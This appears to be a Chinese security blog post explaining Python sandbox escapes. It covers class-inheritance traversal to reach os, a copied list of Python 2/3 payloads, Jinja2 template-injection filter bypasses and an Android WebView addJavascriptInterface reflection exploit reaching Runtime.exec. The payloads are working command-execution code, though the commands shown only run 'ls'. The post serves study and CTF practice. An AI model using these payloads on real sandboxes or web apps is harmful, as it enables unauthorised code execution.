python沙盒的几种绕过方式

对python沙盒的编写以及现有几种常见的沙盒绕过策略的一点总结

基础知识

内建名称空间 __builtins__

在启动Python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始

名称空间在python是个非常重要的概念,只得是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

  • 内建名称空间
  • 全局名称空间

这里我们主要关注的是内建名称空间,是名字到内建对象的映射,,在python中,初始的__builtins__模块提供内建名称空间到内建对象的映射

dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些

1
2
3
4
5
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> import os
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__', 'base64', 'os']

这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

从里面我们可以看到一些我们经常用到的函数:open(),eval(),len(),__import__,以及我们刚才用的dir()函数,还有我们要用的一些对象诸如list,dict,tuple,int,float这些,然后还有一些异常啥的。当然,这里面最关键的就是__import__了,可以使用import函数的话,就可以导入任意模块了。

python中的类继承,两个魔术方法,全局变量

类继承

python中对一个变量应用__class__方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法

  • __base__ 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
  • __mro__ 同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
  • __subclasses__() 继承此对象的子类,返回一个列表

有这些类继承的方法,我们就可以从任何一个变量,顺藤摸瓜到基类中去,再获得到此基类所有实现的类,就可以获得到很多的类啦,当然,这些类还只是直接继承object的,如果我们顺着子类往下摸说不定还能找到更多

两个魔术方法

第一个是类具有的——__dict__魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 首先使用dir看下[]里支持的方法,属性等
>>> dir([])
['__add__',.....省略..... '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
# 在将[]实例转化为class类型后,我们就可以使用class这个类的__dict__方法,以字典的格式列出来这个类中所支持的方法,属性
>>> [].__class__.__dict__
dict_proxy({'__getslice__': <slot wrapper '__getslice__' of 'list' objects>, '__getattribute__': <slot wrapper '__getattribute__' of 'list' objects>, 'pop': <method 'pop' of 'list' objects>, 'remove': <method 'remove' of 'list' objects>, .......省略...... '__hash__': None, '__ge__': <slot wrapper '__ge__' of 'list' objects>})
# 通过__dict__来间接选用append方法
>>> [].__class__.__dict__['append']
<method 'append' of 'list' objects>
# 然后尝试调用,第一个对应append方法的实例对象,第二个为方法的参数(哎,和java的反射好像啊,莫非这就是反射?)
>>> a = []
>>> [].__class__.__dict__['append'](a, 'firstEle')
>>> print a
['firstEle']

第二个是实例、类、函数都具有的——__getattribute__魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 通过dir()看下实例,类,函数里的情况,都能看到__getattribute这个魔术方法的存在
>>> dir([]) #实例
>>> dir([].__class__) #类
>>> dir([].append) #函数
先介绍在函数中的应用吧,这个魔术方法的绕过作用经常在函数中用到
# 首先定位到一个函数上
>>> [].__class__.__base__.__subclasses__()[72] #定位到类
<class 'site._Printer'>
>>> [].__class__.__base__.__subclasses__()[72].__init__ #定位到__init__函数
<unbound method _Printer.__init__>
# 还是用dir看下函数里支持的内容,可以看到__getattribute__这个方法是支持的,另外多嘴一句:
# 怎么看一个东西是函数,是对象呢,函数中总会支持__call__方法,而对象没有,可以通过这点来判断
>>> dir([].__class__.__base__.__subclasses__()[72].__init__)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']
# 通过__getattribute__方法,我们可以获得到函数中所支持的所有属性,当然目的就是要调用__init__函数中的__globals__啦
>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__globals__')
然后介绍在实例中的应用
>>> a = []
# 这里做个小对比,第一个是a的append方法,所以显示是个内建方法,第二个是list类的append所以显示的与前一个不同,第二个在调用的时候还需要指定好调用这个方法的对象
>>> a.__getattribute__('append')
<built-in method append of list object at 0x057D93F0>
>>> a.__class__.append
<method 'append' of 'list' objects>
>>> a.__getattribute__('append')('firstEle')
>>> a.__class__.append(a,'secondEle')
>>> print a
['firstEle', 'secondEle']
最后介绍在类中的应用,其实还是实例上的应用,其产生的结果与__dict__不同,目前感觉用处不大
# 首先测试使用__dict__调用[].__class__的__init__方法
>>> [].__class__.__dict__['__init__']
<slot wrapper '__init__' of 'list' objects>
# 再测试使用__getattribute__调用[].__class__的__init__方法
>>> [].__class__.__getattribute__([],'__init__')
<method-wrapper '__init__' of list object at 0x057D44B8>
可以看到第一个返回的是个方法,第二个返回一个实例空间的方法,实际我们在调用
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
的时候,只有第一种方法获得的init,也就是<slot wrapper '__init__' of 'list' objects>类型的__init__,才具有__globals__。。

了解上面这些是有些用处的,沙盒逃逸中有个很重要的方法就是:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数,而上面的叙述一个是为了讲清为什么要用这个流程,另一方面就是介绍了两种魔术方法,能够以字符串的形式调用属性,提供了一些字符绕过的可能

从沙盒编写中看沙盒逃逸思路

通过删除内建空间中的成员来限制

比较典型的删除名单列表

1
2
3
4
5
6
7
8
9
10
11
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]

__import__被删掉了,限制了对敏感模块的导入

reload被删掉了,限制了对已有模块的重新导入,reload(__builtins__)

open被删掉了,限制文件读写

eval被删掉了,限制字符代码执行

如果没有限制reload的话,就可以将__builtins__重新导入,但是在这种经典配置下,似乎我们目前只有下面这一种姿势去搞:

其实思路之前已经介绍过了,就是变量->对象->基类->子类遍历->全局变量 ,在这个流程中找到我们想要的模块或者函数。介绍一个简易的寻找代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def findModule(srcmodule, dstmodule):
i = 0
results = srcmodule.__class__.__base__.__subclasses__()
for item in results:
i += 1
if '<class' in str(item):
try:
modules = item.__init__.__globals__.keys()
for module in modules:
# print module
if dstmodule == module:
print(item,i-1,str(srcmodule)+".__class__.__base__.__subclasses__()["+str(i-1)+"].__init__.__globals__['" + str(dstmodule) + "']")
break
except:
pass
运行:
findModule([],'os')
输出:
(<class 'site._Printer'>, 72, "[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']")
(<class 'site.Quitter'>, 77, "[].__class__.__base__.__subclasses__()[77].__init__.__globals__['os']")

直接从Ben师傅那里搬运几个python2,3中常用的payload来

1
2
3
4
5
6
7
8
9
10
11
12
13
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

通过对参数的匹配来进行过滤

通过字符匹配去做过滤,python写法那么多,我们采用不同的写法就好了,所以应对这种姿势的方法也是多种多样

  1. 一般都会限制os,import

    在上面提到过了两种魔术方法,可以通过字符的形式调用里面的属性,一旦能够通过字符去调用就很容易绕过了,比如最简单的’so’[::-1]就可以

    对于import关键字过滤的话,可以考虑以下几个思路,__builtins__里面包含着import方法,借助之前提到的__dict__属性可以通过字符串编码绕过__builtins__.__dict__['__impo'+'rt__']('o'+'s')

  2. 限制__ [] '等各种字符

    本来我以为也能利用__dict__的方法,将payload中的属性转变为字符串来表示的,但一来__dict__自身就带有__,二来__globals__ __subclasses__ __base__这些并不是属性,无法使用__dict__,所以非模板注入的情况下,暂时没有找到绕过的方法

    但是在Jinja2模板注入中,绕过是可行的:

    • 可以用[].__class__['__base__']来表示[].__class__.__base__,为了免去从变量到对象这一步则使用flask中的request对象,也就是request['_'+'_base_'+'_']

    • 如果不允许用[],jinja2中的函数|attr()也可以代表属性,更推荐用这种

      []|attr('__class__')|attr('__base__')

    • 如果禁止使用引号,可以考虑使用request.args.para1参数来代表

      url?mobancanshu=[]|attr(request.args.para1)&para1=__class__

      当然,如果__的检测是对全部传入参数的,还可以使用Jinja2中自带的链接函数('a','b')|join,所以最后的payload就是这样

      mobancanshu=[]|attr((request.args.para1*2, request.args.para2, request.args.para1*2)|join)|attr((request.args.para1*2, request.args.para3, request.args.para1*2)|join)&para1=_&para2=class&para3=base

      再加一句,如果|join被过滤,其实还有个替代函数mobancanshu=(request.args.para1)|format(request.args.pata2, request.args.pata2, request.args.pata2, request.args.pata2)&para1=%s%sbase%s%s&para2=_

    • 在hctf中又看到了一些绕过的姿势

      1
      2
      3
      4
      过滤了:
      空格(%20),回车(%0a),'__','[',']','os','"',"|[a-z]"
      绕过方法:
      空格可以用tab(%09)绕过,|后不允许接a-z可以用%0c即|%0cattr,tab等绕过
  3. 接着上面提到的非模板注入下场景如果过滤了__暂时没有绕过方法这个话题,08067的比赛中有个有趣的场景

    一个在线代码练习的网站,首先肯定不能禁用掉import,否则用户体验极差。。所以主要的过滤在基于字符的上面,过滤掉了__等字符,此时没必要执着在那个长长的魔术方法流程上了,用不了啦,__builtins__所提供的思路也用不了啦,既然是字符过滤,那么就考虑怎样使用字符形式的调用方法来绕过字符检测就好了。最开始自然想到eval,但是被删掉了。

    解决方案是在import上下手,python中有很多内置模块可以import进去,我们可以在里面找到一些和eval类似的。

    1
    2
    3
    # 用于测试代码的运行时间,可以将运行语句以字符串形式写出来,类似exec
    import timeit
    timeit.timeit("__import__('os').system('ls')", number=1)
    1
    2
    3
    # 一般用于显示各种配置信息,可以直接写命令
    import platform
    print platform.popen('ls', mode='r').read()

Android中类似的绕过方式

相信大家对Android中的Webview漏洞都不陌生,其中通过Js代码来调用Java代码的addJavascriptInterface 接口引起远程代码执行漏洞的实现原理也类似于上面我们所说的Python沙盒绕过

首先通过Android中的addJavascriptInterface函数可以为要执行的js代码绑定一个Java对象,之后js代码就可以直接调用这个Java对象的所有公有接口,如下所示:

1
2
3
4
5
6
7
8
javascript.html
<script>
function callAndroid(){
// 由于对象映射,所以调用test对象等于调用Android映射的对象
test.hello("js调用了android中的hello方法");
}
</script>
1
2
3
4
5
6
7
8
9
10
A.java
// 通过addJavascriptInterface()将Java对象映射到JS对象
//参数1:Javascript对象名
//参数2:Java对象名
mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象
// 加载JS代码
// 格式规定为:file:///android_asset/文件名.html
mWebView.loadUrl("file:///android_asset/javascript.html");

那么类似于上面python的绕过方式,在Java中我们可以通过Java的反射机制实现调用到其他的类:

  • Android中的对象有一公共的方法:getClass() ,该方法可以获取到当前类,类型为Class
  • Class类有一关键的方法: Class.forName,可以用来加载一个指定的类
  • 加载java.lang.Runtime 类,该类是可以执行本地命令的

js代码可以如下书写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function execute(cmdArgs)
{
// 步骤1:遍历 window 对象
// 目的是为了找到包含 getClass ()的对象
// 因为Android映射的JS对象也在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass" in window[obj]) {
// 步骤2:利用反射调用forName()得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
// 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。
// 如执行完访问文件的命令之后,就可以得到文件名的信息了。
}
}
}